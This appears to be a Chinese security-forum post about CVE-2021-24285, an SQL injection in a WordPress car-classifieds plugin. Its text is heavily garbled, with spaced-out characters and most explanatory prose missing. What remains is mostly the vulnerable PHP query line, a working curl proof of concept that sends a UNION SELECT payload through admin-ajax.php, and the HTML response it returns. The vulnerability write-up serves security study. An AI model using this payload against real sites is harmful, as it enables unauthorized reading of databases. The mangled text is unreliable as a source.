[20583] 2021-04-28_CVE-2021-24285WordPressSql注入

文档创建者:s7ckTeam
浏览次数:8
最后更新:2025-01-18
2021-04-28_CVE-2021-24285WordPressSql注入 C V E - 2 0 2 1 - 2 4 2 8 5   W o r d P r e s s   S q l K h a n   2 0 2 1 - 0 4 - 2 8 #   , 1 9 #   , 1 3 #   , 1 3 #   , 1 9 #   , 1 5 C V E - 2 0 2 1 - 2 4 2 8 5           w p - p l u g i n c a r s - s e l l e r - a u t o - c l a s s i f i e d s - s c r i p t         2 . 1 . 0                 访 2 0 2 1 4 1 9 W P S c a n 2 0 2 1 4 1 9 2 0 2 1 4 2 2 C V E 2 0 2 1 4 2 6                   使 r e q u e s t _ l i s t _ r e q u e s t   A J A X o r d e r _ i d S Q L 使 P O S T S Q L c a r s e l l e r _ r e q u e s t _ l i s t . p h p L 2 4 8 P o c 2 4 8 :         $ r e s u l t   =   $ w p d b - > g e t _ r e s u l t s ( " S E L E C T   *   F R O M   $ t a b l e n a m e   C V E - 2 0 2 1 - 2 4 2 8 5   W o r d P r e s s   S q l   W H E R E   i d = "   .   $ _ P O S T [ ' o r d e r _ i d ' ] ) ;
c u r l   ' h t t p : / / < H o s t n a m e > / w p - a d m i n / a d m i n - a j a x . p h p '       - - d a t a - r a w   ' a c t i o n = r e q u e s t _ l i s t _ r e q u e s t & o r d e r _ i d = - 1 6 6 2   U N I O N   A L L   S E L E C T   N U L L , N U L L , c u r r e n t _ u s e r ( ) , c u r r e n t _ u s e r ( ) , c u r r e n t _ u s e r ( ) , N U L L , c u r r e n t _ u s e r ( ) , c u r r e n t _ u s e r ( ) , N U L L - -   - '       - - c o m p r e s s e d       - - i n s e c u r e           < h 1 > R e q u e s t   D e t a i l s < / h 1 >                 < t a b l e   s t y l e = "   b o r d e r :   1 p x   s o l i d   # 9 9 9 ; w i d t h : 9 6 % "   c l a s s = " o r d e r _ d e t a i l " >                         < t r >                                 < t d > R e q u e s t   I d < / t d > < t d > < / t d >                         < / t r >                         < t r >                                 < t d > C a r   T i t l e < / t d > < t d > U n t i t l e d < / t d >                         < / t r >                         < t r >                                 < t d > N a m e < / t d > < t d > b o b @ l o c a l h o s t   b o b @ l o c a l h o s t < / t d >                         < / t r >                         < t r >                                 < t d > E m a i l < / t d > < t d > b o b @ l o c a l h o s t < / t d >                         < / t r >                         < t r >                                 < t d > P h o n e < / t d > < t d > b o b @ l o c a l h o s t < / t d >                         < / t r >                         < t r >                                 < t d > M e s s a g e < / t d > < t d > b o b @ l o c a l h o s t < / t d >                         < / t r >                         < t r >                                 < t d   c o l s p a n = " 2 "   a l i g n = " c e n t e r " > < a   h r e f = " m a i l t o : b o b @ l o c a l h o s t "   s t y l e = " b a c k g r o u n d :   # 2 e a 2 c c ; b o r d e r - c o l o r :   # 0 0 7 4 a 2 ; - w e b k i t - b o x - s h a d o w :   i n s e t   0   1 p x   0   r g b a ( 1 2 0 , 2 0 0 , 2 3 0 , . 5 ) , 0   1 p x   0   r g b a ( 0 , 0 , 0 , . 1 5 ) ; b o x - s h a d o w :   i n s e t   0   1 p x   0   r g b a ( 1 2 0 , 2 0 0 , 2 3 0 , . 5 ) , 0   1 p x   0   r g b a ( 0 , 0 , 0 , . 1 5 ) ; c o l o r :   # f f f ; t e x t - d e c o r a t i o n :   n o n e ; v e r t i c a l - a l i g n :   b a s e l i n e ; d i s p l a y :   i n l i n e - b l o c k ; t e x t - d e c o r a t i o n :   n o n e ; f o n t - s i z e : 1 3 p x ; l i n e - h e i g h t : 3 3 p x ; ; l i n e - h e i g h t :   2 6 p x ; h e i g h t :   2 8 p x ; m a r g i n :   0 ; p a d d i n g :   0   1 0 p x   1 p x ; c u r s o r :   p o i n t e r ; b o r d e r - w i d t h :   1 p x ; b o r d e r - s t y l e :   s o l i d ; - w e b k i t - a p p e a r a n c e :   n o n e ; - w e b k i t - b o r d e r - r a d i u s :   3 p x ; b o r d e r - r a d i u s :   3 p x ; w h i t e - s p a c e :   n o w r a p ; - w e b k i t - b o x - s i z i n g :   b o r d e r - b o x ; - m o z - b o x - s i z i n g :   b o r d e r - b o x ; b o x - s i z i n g :   b o r d e r - b o x ; "                         < / t r >                 < / t a b l e >                 < p   s t y l e = " m a r g i n - t o p : 2 0 p x ;   t e x t - a l i g n : r i g h t ; " > < a   h r e f = " # "   i d = " c l o s e " > C l o s e < / a > < / p >
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则